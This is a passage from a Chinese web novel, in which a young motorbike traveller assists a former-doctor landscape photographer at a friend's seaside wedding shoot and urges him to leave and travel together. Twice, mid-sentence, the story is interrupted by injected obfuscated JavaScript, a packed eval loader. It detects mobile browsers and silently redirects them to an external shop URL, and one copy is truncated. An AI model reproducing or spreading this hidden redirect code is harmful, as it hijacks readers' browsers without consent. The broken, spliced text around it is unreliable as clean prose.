“哦!我知道!”曾晓阳又抓出一把烤串塞给梁愿醒,“我骑过,摔过一次狠的就没再骑了,你可得注意安全。” “说晚了,他已经摔过了。”段青深走去水吧台小冰箱蹲下,“你们喝什么?” 拿了两瓶可乐一罐雪碧和一瓶矿泉水回来坐下,段青深把矿泉水拧开,喝了一口接着说:“摔住院了才认识他的。” “我靠!”曾晓阳快速打量起梁愿醒。 “没断胳膊断腿,曾哥。”梁愿醒笑着说,“就划了块皮,住院是因为出血太多了。” 何文冰也打量着他:“怎么摔的呀?” 段青深知道来龙去脉,靠在椅背里悠闲地听他们聊天。 梁愿醒微微坐直,说:“我当时在机动车右车道往右拐,一辆老头乐闯红灯从斑马线飚过来,我其实本来能躲开,来个猛油门往前窜一截就没事了,结果……” “结果……” 两双眼睛直勾勾盯着他。 看得出来,他俩很爱听这种热闹。 但梁愿醒实在觉得有点丢脸,他叹了口气:“结果那大爷的老头乐跟别人的不一样!他……他车里有个大佛,把我吓着了,我原地呆愣了一下。” “大佛?”曾晓阳问,“老头乐里有个大佛?” “一个硕大的金佛。”梁愿醒比划了一下,“别人车摆件都是脸朝里,这大爷佛向外,天又暗,大金佛反着光,那画面,特别像佛祖驾着老头乐。” “噗。”何文冰笑了,“哈哈哈哈哈哈!!!” “我以为佛祖来收我了。”梁愿醒坚强地继续说下去,“我就没反抗,啪,车一歪,摔了。” 换个角度看,那金佛摆件确实有效。因为那老头乐和老头都没事儿。 何文冰叹气道:“没办法,老头乐里一般有着这社会上最惹不起的两个存在,老头,和他的孙子。” “是啊。”梁愿醒赞同,“不过还好,赔钱道歉都很顺利,没扯皮。” 说完,看了眼段青深。他有点想说因祸得福,但又有点不好意思。段青深听他说话的全程都是淡淡笑着,虽然眉眼泛着些倦意,但看着不像是舟车劳顿的疲累。 聊天肯定就会聊到近况,最近事儿最大的就是曾晓阳,他结婚。何文冰的近况是延毕了,但他看上去不是很在乎。 段青深的近况嘛,就是辞职。 “你是不是怕你爸削你,才逃亡五百公里来我婚礼避难?”曾晓阳嚼着烤牛油。 段青深抿了口矿泉水:“没,我爸还不知道。” “不知道?”曾晓阳震惊。 “我们院孙主任跟我爸老朋友了,但他好像没告诉我爸。”段青深稍微一耸肩,“无所谓,辞都辞了,大不了把我削死。” “哎呸呸呸!”何文冰说,“医生不干就不干了,摄影师不是也挺好的吗。” 梁愿醒嚼着肉,他们谁说话他的眼睛就看着谁,像个纪录片镜头。这时候他看向段青深,段青深恰好也看了过来。 段青深问:“梁助理,做摄影师好吗?” 梁助理放下烤串,想了想,说:“做摄影师挺好的,但可惜,你是风光摄影师。” “怎么说?”段青深有点期待地看着他。 另外两个人也看着他。 他回答:“风光摄影师,主要依靠‘西北风’与‘光合作用’来维持生命体征的摄影师。” 段青深端起矿泉水瓶跟梁愿醒手边的罐装雪碧碰了个杯。 “没找错助理。”段青深说。 6.第 6 章 风光摄影师是一个收入断层较为明显的职业,喝西北风的摄影师不在少数。这点梁愿醒很清楚。 甚至他相机刚到手的时候,酒吧老板劝过他:趁还在退货期,退了吧,沾上这玩意你就完了! 接着,梁愿醒向老板解释并表达了自己真的很喜欢,当时正处于事业失败期的老板惆怅地拍拍他肩膀:行吧,现在网上约拍的也挺多,买个相机,总比租个商铺的风险小。 然后梁愿醒又说:老板,我要做风光摄影师! 老板沉默地点了支烟没说话。 职业风光摄影师。说得极端点,要么名声大噪,一年出一套片,一套卖个惊天高价。要么苦哈哈地每天上传二、三十张素材图,一张能卖一百块都阿弥陀佛。 其实梁愿醒那话说出来后是有点后悔的,他不确定他跟段青深之间的感情浓度能不能开这种玩笑。结果显而易见,段青深很赞同。 第二天正式开始拍摄。 两人起床后先去买了摄影灯和三脚架,然后和新郎新娘一块吃早餐。曾晓阳昨晚见过了,新娘不知道怎么称呼,梁愿醒乖巧地说了句“您好”。 姜妤瞧见梁愿醒,眼睛一亮,说:“昨天晓阳跟我说,青深找了个小帅哥当助理,叫我把你从青深那儿拐了,这么一看确实要提上日程。” “哎哎。”段青深端来早餐店自取的小咸菜,坐下,“我还在呢就拐我的人,妤姐你好歹等我走了的。” “没错。”姜妤点头,“等你走了的,我把他车轮胎卸了扣仓库去。” 梁愿醒捧着豆浆,早餐店比较挤,桌子也都不大,四个人挤着坐的。段青深挨着他坐下后,他迟疑着问:“妤姐是在开玩笑……吧?” 段青深看了他一眼,笑着说:“把你关哪儿她都计划好了,能是开玩笑吗。” “开玩笑的。”段青深见他当真了,“吃饭,多吃点,正是吃饱了还能再吃两顿的年纪。” “……”梁愿醒幽幽看着他。 “这么幽怨呢?”姜妤打趣他,“看不惯这老板早点换了,来姐这儿。” 梁愿醒赶紧低头吃饭。 段青深这么说,是因为昨晚梁愿醒吃那些烧烤吃得消化不良,他大半夜找药房买健胃消食片。 姜妤吃了几口就不吃了,说不想一会儿拍照有小肚子。她放下筷子后,从包里掏出iPad,说:“你们看,婚庆那个摄影师给我拍的,差点没把我肝儿气炸。” “哎。”曾晓阳叹气,跟梁愿醒说,“知道为什么明天婚礼,今儿才拍照片吗?” “不知道。”梁愿醒摇摇头。 “我们买的婚庆套餐是包含了婚纱照的,但那个摄影师实在太一般。”曾晓阳说,“态度也不好,后来居然直接说什么‘你俩就长这样,还指望我能拍出朵花来吗’我靠我当时一下子就炸了,差点没跟那孙子动手。” 梁愿醒点头表示理解:“职业素养太差了。” “可不是吗。”姜妤递说,“给小梁看看。” 段青深草草看了两张,端着iPad递到他面前:“你看,这张就是很典型的不必要前景,前景和背景没有任何关联,和人物手里的道具也没有呼应。包括这种光,户外的白天不好打光就要去找光,这张算是找到光源了,但显然没有调整好人物情绪……” “深哥,老板。”梁愿醒用膝盖撞他两回了。他心道你可别说了,拿人家失败的照片在这儿现场教学反面案例算怎么回事。 段青深才终于意识到不该在这个时候教学,况且那个情绪并不好的人物就坐在他对面。姜妤正在凝视他。 “不好意思。”段青深按下锁屏,把iPad递回去,“我这就吃饭然后我们去重拍。” 姜妤肯定是没跟他较真,她拿出手机:“弟弟,到时候照片后期是你做吗?” “是的。”梁愿醒点头。 “加个微信来。”姜妤亮出二维码,“拍完你把原片发我,我跟你分工修图。” 梁愿醒跟她加上微信,又说:“其实没事的姐姐,我修图蛮快的。” “没事儿,我也很专业,以前服装店规模小的时候,模特图都是我修。”姜妤看了眼他微信名,说,“醒醒啊。” 曾晓阳在旁边妻唱夫随:“醒醒。” “嗯。”梁愿醒笑眯眯地点头,“醒醒。” 段青深不知怎么,也跟了句:“醒醒。” “嗳。”梁愿醒应道,“是我。” 饭后姜妤和曾晓阳去婚庆公司换衣服化妆,梁愿醒和段青深则去拍摄场地。 他们和婚庆协商的结果是婚庆那边辅助他们重拍,但摄影师没法提供了,公司就那么一个空闲摄影师。所以曾晓阳才叫了段青深过来。 拍摄场景是礁石海滩,他们要挑选几个合适的背景。 “天有点阴。”下车后梁愿醒抬头看了看天。 大约因为天很阴,看着隐隐有下雨的趋势,所以海滩公园的停车场车很少。没有太阳,气温低,游客也不多,只有些赶海的人。 段青深从车后座拿出三脚架包背上,摄影灯包挂在肩膀,锁车,说:“没事,带灯了,而且可以拍一点冷色风格的……醒醒,你微信上问问妤姐,婚庆公司有没有黑婚纱,有的话带一套。” “好。” 段青深打开相机,相机带缠在手腕上,观察着拍摄环境。海滩的元素就这么多,没有阳光直射而颜色不够好看的海水,凉飕飕的风,阴云和礁石。远景更是乏善可陈,挺考验审美的。 梁愿醒看看他,看看海:“这真能拍吗?” 段青深:“凑合吧,她那边婚庆给拍的有几张亮堂的能用,反正也就是明天在酒店大屏幕上放。” 嘴上说凑合,其实没打算凑合。不单单是因为不想糊弄老同学,而是他对拍摄这件事本身从不糊弄。段青深向海走了几步,梁愿醒抬脚准备跟,被他打了个手势:“你站在这里,当一下人物主体,我看看效果。” 他眼睁睁看着段青深向海边走,起先他以为只是调焦,对方转过身后镜头对着他。山东半岛的风没有规律且强得可怕,四面八方。梁愿醒站在那儿,感觉自己身处一个隔音效果极差的KTV,正在被无死角袭击。 梁愿醒被风刮得只能眯着眼,无法做到“眼睁睁地”看着段青深越退越远,偏偏还边退边喊“看我”。 倒是想看呢,梁愿醒想,可我的刘海在攻击我的眼睫毛。 相机加装了一个长焦镜头,刚刚买摄影灯的时候顺便买的,还有个机顶闪。段青深终于不退了,他穿的运动鞋,冲上来的海水已经没过他鞋面。 “醒醒看我,别看镜头。”段青深用喊的,风声太猛,梁愿醒只能听个大概。 机位比较低,段青深略微弓腰,把相机端在大腿面的高度。 梁愿醒知道秋天海水绝对冰得扎人,他想要往前走两步,喊道:“深哥你别往后退了!” “别动!”段青深阻止他,“你动了我就白泡水了!” 灰色云层越来越浓,天空中像是有什么在向下试探,但突破不了乌云。段青深连续快门,长焦镜头下压缩了空间,人物主体、远方被黑云侵袭的城市,以及前景一块同样冷灰色的礁石。 “能拍。”段青深走回梁愿醒身边,相机递给他,“你看看。” 画面里的自己看起来很单薄。以海岸为背景,但又拍到了海滩前景,所以画面整体传达的主要信息是:人物朝向大海。 梁愿醒又低头看看他的鞋,果然全湿了,这个季节的海水泡了鞋袜裹在脚上应该是又冷又难受。姜妤和曾晓阳还没到,梁愿醒四下看了一圈,看见一家店:“我们去那买两双拖鞋吧,你这样太难受了,而且一会儿拍摄肯定也要踩水。” 段青深点头说好。 等新郎新娘过来的时间里,两个人在海滩的长椅上坐着。梁愿醒捧着相机,看他拍的自己。连拍的,段青深手稳,几张照片几乎没什么区别。 画面构图是最基础的横平竖直,又因为光源不充足,画面整体压抑而灰暗。那不是缺点,只是照片风格。梁愿醒看了半天。 接着梁愿醒掏出手机,准备把拍好的照片传出来。段青深见他这么做,当下就知道他要干什么:“别删,留着。” “啊?”梁愿醒转过头看他,“你怎么知道我要删的?” 他没带电脑出来,又很喜欢段青深给他拍的照片。毕竟储存卡空间还是要留给新郎新娘。 段青深:“储存空间够的,不差这几张。” “噢。”梁愿醒收起手机。 画面里拍进去了几个路人,还有些海滩上的杂物。段青深站起来,弯腰,指尖在屏幕上比划了一下:“回去这样裁一下就行,我过去抽根烟。” “过哪儿去?”梁愿醒抬头。 “就旁边。” 段青深抽烟不多,没瘾。但拍完梁愿醒后,他忽然想抽一根。 再转头,他看向梁愿醒,还低着头在看相机。风把他头发吹得乱糟糟,一个人坐在阴天海滩的长椅,还耷拉着脑袋,画面有点可怜。段青深不抽了,半根烟扔去垃圾桶,走回长椅坐下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024192|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 段青深坐回来,他没看相机了,在看自己手机。 梁愿醒拿着手机给他看,问:“这张你用什么拍的?” 他在看自己以前的作品。段青深回忆了下:“索尼zve1。” “那这张呢?”他后滑一张。 “好像是尼康ZF?还是佳能EOS,记不清了。” “这张呢这张呢。” “这张手机拍的。” 梁愿醒有点不相信:“真的啊?” “嗯。” 但这么一问,段青深的器材应该不少,这么今时今日沦落到蹭小助理的相机呢。他想是这么想,但没问,这种事不太好问。 于是梁愿醒转移话题,故意酸溜溜地说:“普通爱好者呢。” “啧。”段青深很想掐掐他脸,“都是大学时候拍的,后来挂科,相机都被我爸处理掉了。” 段青深说完,问,“你呢?你以前干什么的,梁助理。” “啊我?”梁愿醒眨眨眼,“我之前是酒吧驻唱。” “为什么不唱了?” “酒吧倒闭了。” “喔……”段青深点点头,“你弹尤克里里?” “吉他。”梁愿醒说,“吉他不好带,放家里了。” 没多久,婚庆公司的保姆车开到了。两个人站起来走过去,梁愿醒把相机递给他,换他肩上背的灯啊什么的。 “哎,久等了久等了。”礁石海滩高跟鞋不好走路,姜妤得找着平石头踩。 旁边婚庆公司跟着补妆的小姑娘说:“大哥你把姐姐抱着走呀。” 摄影师和他的助理跟在新郎新娘后面。梁愿醒背着一身器材,三脚架、灯、镜头包。 梁愿醒笑笑,转头问:“这姿态拍吗?” 段青深蹙眉:“别了,你曾哥走这几步快闪着腰了。” 梁愿醒哑然:“那我……要帮忙吗?” 段青深看了他一眼:“你帮什么忙,省着点劲儿给我举灯。” 说完,段青深看了看四周:“晓阳把人放下吧,在这先拍几张。” 姜妤是比较匀称的身材,个头挺高的,而且女生显个子,穿了高跟鞋看起来比梁愿醒这个一米八的还高点。 “醒醒!”姜妤笑眯眯地叫了他一声,“你老板喊你呢!” 梁愿醒一愣,回头看段青深。 那位也看着他,眼神无奈,但带着笑的。然后段青深吸了口气,更大声地说:“我这儿,朝你那说话,逆风!” “噢!”梁愿醒笑笑,“我知道了!我看着你!” 姜妤是个很配合的模特,因为她自己生意上会接触到摄影师,所以段青深的一些指令她能够很清晰地理解。天越来越阴,眼看要下雨。姜妤赶紧去换了另一套婚纱,是段青深要求的黑色婚纱裙。 等新娘换衣服的时间里,眼看着拍摄环境越来越暗。时间才刚走到中午,迫于天色实在不好,附近的商铺摊子已经打开了门牌灯和门口的地灯,光线颜色也杂乱了起来。 “你冷吗?”段青深问。 “还行。”梁愿醒穿了件T恤和运动外套,“不算冷,妤姐估计冻坏了,快拍完了吧?” “好像还有两套衣服。”段青深抬头看天,又低头调相机参数,“可别下雨,要抓紧时间了。” “是啊……”梁愿醒嗅了嗅,感觉闻到雨味儿了。 段青深一笑:“闻得出来?把外套拉链拉上。” 拍黑色婚纱的时候,段青深站在海水里。虽然换了拖鞋,但这次他站得比较远,海水到他小腿肚,看得梁愿醒都觉得冷。 “别看镜头,看光源!”段青深喊道,“妤姐,看醒醒!” 姜妤很想配合,但…… “哎哟,段老板,你这小帅哥帅得刺眼!”姜妤苦笑,哪有人让别人直视摄影灯的。 段青深:“那你…你看醒醒的左边肩膀!” 这张拍下后。 “好!转身!向后!给我背影!” 一连串噼里啪啦的快门声在连拍模特转圈,黑色婚纱在乌云下的礁石海滩。梁愿醒在心里叹服,他已经能想象到出片是什么样了。 “醒醒!关灯!”段青深又喊。 虽然不知道为什么要关灯,他还是立刻关掉了。下一秒,高空一道树杈状的闪电,段青深让瞬间的闪电入画。接着雷声暴起,不远处有人吓得叫了声。 梁愿醒看着站在海水里的段青深,恍惚了片刻。 待他回神,段青深已经走到面前:“醒醒,走了。” 7.第 7 章 因为天降大雨,之后回去公司拍棚内。 段青深的鞋之前踩了水潮透了,没法穿,开车又不能穿人字拖,梁愿醒的鞋没踩水,所以由他来开车。 梁愿醒开车的时候,段青深在副驾驶很沉默。大约是刚刚拍摄太耗神,梁愿醒不知道,也没问。 他是个比较能感知到敏感情绪的人,也是个能管住自己不乱问的人。 一路跟着婚庆公司的车到了他们那儿,棚内摄影不是段青深的领域,所以他选择扬长避短,多拍特写以及表达光线。拍摄过程很顺利,姜妤去卸妆的时候,曾晓阳开始跟婚庆那边商量赔偿了。 婚庆出来了个看上去三十五六岁的负责人,跟曾晓阳过招。对方先打量了一番段青深,湿答答的裤腿和人字拖鞋,又看看梁愿醒,像个应届实习生。上来就是一句:“哎呀曾老板,您怎么随便找了个摄影师啊,他们这个收费可能都不规范的……” 曾晓阳人高马大的,没多啰嗦:“别逼逼了,就按你这的价目表付。” 梁愿醒瞄了眼段青深。他们俩在婚庆公司大堂的沙发这儿,曾晓阳和那人就在大厅中间面对面站着,背景墙上是玫瑰假花拼成的爱心,爱心中间悬挂xxx婚庆几个大字。 画面挺荒谬的,梁愿醒忍住了笑,低声说:“我们俩这身行头估计要变成压价的缘由了。” 段青深看向他:“景区拖鞋,很贵的,该提价。” “……”梁愿醒沉默。 果然,那边婚庆大哥说:“哎哟曾哥诶,你说你自己找摄影师,我们来付拍摄费用,我们跟妆,都没问题,毕竟是我们的摄影师没让您满意,但您也不能……找个样片都没有的野生摄影师吧!” 他说话声音很大,这厅又挺小,听得一清二楚。 梁愿醒噌地站起来,又被段青深摁回去。 “干嘛拦着我?”梁愿醒诧异,“他居然看不起你!” “那你打算把他脑袋拧下来?”段青深无奈,“坐着吧,我过去。” 梁愿醒重新噌地站起来,同时抓住他手腕将他往回拽:“你坐着,我过去,这种事情交给助理。” 段青深没防备,又是拖鞋,差点被他拽一趔趄。 他站定,回头:“还好没跌你怀里,不然真得交给你处理了。” 梁愿醒反应过来,松开他。刚松开,段青深就朝厅中间走,梁愿醒赶快跟上。 “你好。”段青深说,“打断一下二位,请问照片有什么问题吗?” 婚庆老板愣了下:“照…照片?” 段青深身高186,瞳色较暗,不做表情时有些凶相。倒不是凶神恶煞,老板打量了番他,又问:“照片怎么了?” 段青深短促地叹气:“我是问,是不是因为照片有问题,所以您才不满。” “哦我……”老板顿了下。 “您还没看照片,就下结论。”段青深很平静,“看了再砍价也不迟。” 大厅靠门口的地方是婚庆的前台,前台有电脑,梁愿醒示意了下相机,问:“看看?” 这很合理。无论婚庆是不信任外面的摄影师,还是单纯就想压压价,那都要先看作品,不管他看不看得懂,都要看,否则就是无理取闹。 梁愿醒利落地拆下储存卡,老板只能点头。 老板拿着储存卡,一行人走到前台那儿,刚好前台的员工都在忙,这里没人,否则就会有员工看见自己老板辗转换了两遍方向都没插进那个USB,还带了些气急败坏。 “醒醒。”段青深指了下。 老板以为他在嘲讽自己,叫自己清醒一点,正欲发作,梁愿醒看出来了,解释:“醒醒是我,您给我吧。” 梁愿醒拿过读卡器,对准,电脑弹出了对话框。 老板沉默着,梁愿醒直接点开闪电黑纱裙那张:“无后期无裁剪,原片直出。” 前台电脑屏幕恰好是很大尺寸的曲面屏,照片看起来更加震撼,雷雨欲来时,礁石海滩的黑天鹅。 构图、光影以及自然赐予的巨大巧合,梁愿醒看向段青深,跟他交换了个眼神。 其实人类是“第一眼”生物。大部分普通人往往藏不住那“第一眼”,一眼就惊叹、一眼就嫌弃、一眼就无语,这些下意识反应在没有接受过特殊训练的前提下很难藏住。 而老板显然毫无训练痕迹。 甚至他惊了句“我草”。 这声“我草”让曾晓阳和梁愿醒都暗爽了下。尤其曾晓阳,直接笑眯眯地在老板后背拍了两下,说:“不要小看穿人字拖的南方人。” 梁愿醒和段青深动作同步,很轻微地抬了抬一边眉毛。梁愿醒假意咳嗽了下,说:“您别光骂人呀,说点别的。” 婚庆老板不能睁着眼说瞎话,他承认最开始是带了些鄙夷,甚至觉得曾晓阳是叫了个扛相机的熟人过来坑他钱的。他完整把所有照片都看了一遍后,直接问:“您有没有兴趣来我这做摄影?” 梁愿醒心下一凉,暗叫不好,立刻扭头看段青深。一直没说话的曾晓阳也在看他。 段青深:“不了谢谢。” 梁愿醒松了口气,曾晓阳没忍住“啧”了声。 刚好姜妤那边卸完了妆和头发上的东西,换上自己的衣服出来了。一出来瞧见几个人神色各异地都站在前台,问:“这是干嘛呢?” “为什么不留下啊?”曾晓阳问。 他们找了个咖啡厅坐了坐。姜妤问怎么了,曾晓阳把刚刚在婚庆公司大厅的事儿转述给她。她听完,吃着甜品的叉子停顿了下,看向段青深。 显然,段青深的事儿姜妤都听曾晓阳说过了,也是很显然,她知道的比梁愿醒多的多。 “我不擅长拍人像。”段青深轻描淡写,“那套拍的也不适合传统意义婚纱照,也就妤姐不计较。” “你得了吧。”姜妤说,“你没结过婚,现在婚纱照都不是你想象的那种了,而且人家不说了吗,醒醒也一块儿收了。” “醒醒后面还有事呢。”段青深说。 外面雨慢慢停了,咖啡厅的玻璃窗上还淌着水。这天气也是有意思,雨刚停没几分钟就出太阳了。梁愿醒盯着他自己面前这杯咖啡,阳光刚好照到拉花上。 “醒醒?” 梁愿醒抬头,寻找谁叫的他。 “这儿。”就坐在他旁边的段青深小幅度地招手,“看得见我吗?” “我走神了。”梁愿醒说,“你叫我干嘛?” “问你明早想不想去接亲玩儿。”曾晓阳说,“咱们文明接亲,可好玩了,红包也多,就是得早起,可早可早的那种。” 梁愿醒瞄了眼段青深。 姜妤哭笑不得:“你看他干嘛?” 他也不知道看他为什么要看段青深,这事并不需要经过段青深同意,嘴上叫老板,其实没合同,连个口头协议都没有。 “你去吗?”梁愿醒问他。 “我起不来。”段青深说。 “要起多早?”梁愿醒又问。 “大概你准备睡觉的时候,他们开始接亲了。”段青深喝一口咖啡,看着他。 这时候姜妤手机响,咖啡厅的桌子之间过道比较窄,她就直接在这里接了,是一些工作上的事儿。梁愿醒扶着咖啡杯,目光飘向旁边。 段青深直截了当:“要不我们现在回酒店修图?” “嗯嗯。”梁愿醒用力点头。 倒不是他不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033271|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾晓阳和姜妤,也没有觉得坐一起喝咖啡不舒服,而是今天起早了,他现在又困又累。 修图是个非常有力的借口,这些照片明天就要在婚礼上播放,早点修出来整理好发给婚庆公司了。 “先走了啊。”段青深站起来,跟打电话的姜妤挥挥手示意一下。 “行,去吧。”曾晓阳说,“开车慢点儿啊。” 梁愿醒困极了,在副驾驶就睡了过去。 车开进酒店的地下停车场,中间有一段减速带,把他颠醒了。段青深偏头看了眼他,说:“上去你先睡一会儿,我来裁图,裁完了你再修。” “好。”梁愿醒点头。 然而上楼回房间后梁愿醒没睡,他洗了个澡把自己洗清醒了,坐到段青深旁边看他裁图。段青深也刚洗完澡,他淋了雨不说,还在冰凉海水里踩了很久。段青深用的自己的电脑,刚掀开,卡插了两遍才插进去。 梁愿醒明白了为什么上午在婚庆公司他叫自己去插那个读卡器,原来这家伙也是个USB克星。 “你不睡吗?”段青深又插上鼠标,插了两遍。 “还行,洗完澡感觉还能顶一阵。”梁愿醒顺手把相机电池充上电,“我想看看你裁图。” 裁剪是摄影审美很重要的一部分,段青深说好。他先把最开始踩在海水里拍的那几张梁愿醒原图导去一个私藏文件夹,然后开始导其他照片。 套房会客厅的餐桌上,梁愿醒坐他旁边。但慢慢就趴下来了,下巴搁在手臂上。 “这边不保留吗?”梁愿醒指了下画面左侧延伸过来的树枝,他觉得这几根垂下来的树枝还挺好看的。 段青深摇头:“无意义前景。” “靠前了吗?” “在人物前。”段青深说,“以后你拍人像的话,记得取舍元素的时候,永远以人物为参考。” “喔……” 大概是鼠标按下去的声音混合着笔记本电脑运行的嗡嗡声,以及他刚好趴在散热器出风口的位置,淋过雨洗完澡后,微弱的暖风烘得他开始困了。 视野慢慢模糊,听觉也渐渐变弱。 加上安静房间里段青深回答他问题时温和的声音,以至于再次醒过来时自己都吓一跳。 他很少这么快入睡,并且睡得这么沉。 醒来时,发现自己肩上被披了件宽大的卫衣外套,旁边电脑已经合上了,再转头,酒店窗户外面一片深橘色的夕阳。 酒店房间的窗户有开合角度限制,段青深的三脚架在窗边,打开的角度堪堪只有镜头那么宽。他听见几声快门,站起来的时候椅子带出了声响,段青深回头,猝不及防地和他对视。 梁愿醒不希望段青深留在这里,不是这里不好,而是他希望段青深回去那片滚烫的天地,去拍大漠的落日。而不是将镜头卡在高层建筑窄小的窗户缝里,拍这稀薄的城市残阳。 “你怎么了?”段青深问他,“怎么今天一直在发呆,上午我以为你是困的,睡一觉了还这么呆。” 他欲言又止,顾忌交浅言深,转而笑了笑:“起得太早了,还没缓过来。” 段青深关上窗,外面夕阳节节败退似的离开天空。他将相机从三脚架取下来,低头看屏幕,不疾不徐地问:“我怎么感觉你今天憋了一肚子话,是我的错觉吗?” “应该不是。”梁愿醒低头看了眼外套。 一个低头再抬头的动作,梁愿醒从举棋不定到沛然莫御。这个小他7岁的摩旅青年一觉睡醒似乎变了个人。 “那就说。”段青深关上窗。 接着,他说了句让段青深此后很多年都铭记于心的话。 “这里没有人懂你,你要跟我走。”梁愿醒说。 8.第 8 章 刹那间,段青深以为他对着自己念了句咒语。 不然为什么自己动弹不得。 人常说“作品即人”,虽然这句话并不绝对,但三年来梁愿醒反复看他的作品,起码读懂了他一部分灵魂。 梁愿醒说完,眉眼一弯笑起来:“我要修图了。” “哦。”段青深木木地点头,“好……辛苦了,你直接用我电脑吧。那我…我出去买点吃的拿回来。” “好啊。”梁愿醒说。 段青深确实不会修图,不是学不会软件,而是他对人物的审美方面比较贫瘠。也就是不知道人物该怎么修得自然又好看。 段青深下楼觅食的时间里,梁愿醒用他的电脑修图。一开始梁愿醒还有点缩手缩脚,别人的私人电子用品,在一个密闭的房间,他坐在电脑前面,感觉怎么碰这鼠标都不对劲,在入侵别人的领土一样。 尤其这电脑弹邮件提醒的时候,会直接弹邮件主题。 所幸不是私人邮件,是段青深他们医院的资讯。 不过换个思路,他能这么放心大胆地把自己和电脑留在同一个房间里,那么就说明此人没什么见不得人的东西。梁愿醒说服了自己,继续修图。 他把裁好的一半原片压缩打包发给姜妤后,开始修。图修起来挺轻松的,原片已经足够好,段青深审美不错,挑了姜妤很优秀的角度来拍,后期很轻松。 梁愿醒特意把闪电黑裙那张留给自己修,没发给姜妤,其实稍微有点私心的,因为他觉得这张拍得最好。 画面被裁剪过后是一张竖构图,人物有点小,但很和谐。一时间梁愿醒有点无从下手,不知道要修哪里……他想了想,把前景几颗不必要的小礁石抹掉,放大修了修裙摆,然后又停下。 因为画面很完美,就连人物侧脸黏上的一点发丝都让人觉得烘托了情绪。以至于梁愿醒足足看着这照片十多秒后他才反应过来——等下好像这是婚纱照来的,但整张照片看起来暗黑又落魄。 恰好,在他修完最后一张时,“嘀——”的一声刷卡开门,段青深回来了。 “我简单买了点。”段青深说,“鲅鱼水饺,不知道你吃不吃得惯。” “什么鱼?” “鲅鱼。” “鲅鱼什么?”梁愿醒不能理解。 “水饺。” 梁愿醒两只眼睛看着他,满眼写着“你买了什么不对劲的食物”。 显然段青深看出来了,他解释:“鲅鱼水饺听起来比较奇怪,但馅料里有鱼肉在这边很常见,鲅鱼啊黄花鱼……就像云贵川那边凉拌折耳根,你尝尝。” 他这话说的像是在这边生活过。但梁愿醒还是略有迟疑,并且谨慎地看了眼段青深。他将电脑合上,挪开些。 “我以为你是浙江人。”梁愿醒说,“不然就给用一道‘鸡蛋灌饼卷西湖醋鱼’来反击你了。” “……”段青深无语了片刻,把几个袋子放下,“还买了点其他的。” 一些炸鸡排之类,大部分人都能接受的食物,以及酸奶,饮料,便利店里一些常见的零食,和防水创可贴。 段青深坐下,说:“创可贴是在便利店买的,明天婚礼结束后再带你买点常用药。” 言下之意是让他带着,摩旅骑行几千公里,备点药品总是没错的。梁愿醒“哦”了声,夹了个水饺。似乎他走前自己说的那句话被默认遗忘,像一对貌合神离的夫妻,默契地把生活之外的对话当空气。 梁愿醒尝了个鲅鱼饺子,对他来讲有点怪,因为在此之前他在水饺馄饨这样的食物里吃到类似的东西只有虾仁。 他尝了一个后还想夹一个,但筷子打滑,没夹起来。 段青深从便利店那个袋子里翻出来一只勺子,递给他:“用这个吧。” “噢。”梁愿醒后半句‘谢谢’还没来得及说出口。 “我……”段青深忽然看向他,很认真地说,“我不知道我几年前拍的照片给了你什么滤镜,但我这个人绝不是照片带给你的那样。” 梁愿醒咽下嘴里的东西:“深哥,我是学音乐的。” 他忽然这么说,段青深点头:“嗯。” “在学校的时候有老师说‘人们通过文字来表述情感时常常匮乏,难免词不达意,但大家往往却能找到合适的表情包。从音乐感受上来讲,我们也能够找到一段最合适的旋律。’” 段青深垂眸,接着点头赞同:“的确是这样。” “还有图像。”梁愿醒看着他,“图像也是。” 其实段青深已经不大能想起来那年的西北沙漠,后来有太多东西裹挟着将他越推越远。甚至此前在小镇民宿里的那个晚上,梁愿醒举起手机给他看《去西北》,那一眼,他居然对自己拍的照片有些陌生。 他又抬眼,梁愿醒还在看他。 说得矫情点,这个瞬间,他觉得梁愿醒是来带他找回自己的。 说得再矫情点,他拍过的风光照片不止沙漠,还有山巅云海和银河,偏偏梁愿醒知道他的灵魂在哪里。 或者说,在具体的哪一张照片里。 想到这里,段青深自己都觉得太荒谬了。于是他木讷地、迟钝地问:“你是学……什么的?” 显然,梁愿醒也没想到他居然在方才那一串话里捕捉到了这个。 他顿了下,回答:“钢琴,音乐表演。我双亲过世的早,姨妈姨夫把我养大的,小时候给表妹和我都报了钢琴班,我妹学了一阵子后死活不愿意学了,她剩下的课就都给我了。” “抱歉。”段青深抿了下唇。 “没什么的。”梁愿醒笑笑,“我过得挺好,人生很顺遂,出来摩旅我姨妈姨夫一直在挂念,还给我买了相机,所以没什么好抱歉的。” 段青深看向桌子上的相机,又问:“那你怎么大学没读摄影?” “我和我妹都是钢琴五年班。”梁愿醒说。 “明白了。”段青深笑起来,“两个五年班变成了你的十年班。” “是啊,所以就参加艺考了,不然我自己都觉得不甘心。” “那我们挺像的。”段青深还看着相机,说,“我也是十年,不甘心,但……又不是同一回事。” 他这话说的,没头没尾没中间。但梁愿醒不在乎,直接问:“你想好了吗?要不要跟我走。” 段青深目光迟滞了下。莫名的,他居然和梁愿醒有了默契,他出去买吃的这段时间就是在思考。 梁愿醒接着叉了块鸡排,欣赏了下它酥脆的外壳,随后塞进嘴里,咯吱咯吱地嚼着。这声音听起来特幸福,酥脆鲜嫩,梁愿醒的腮帮子被撑得很鼓,等他说话。 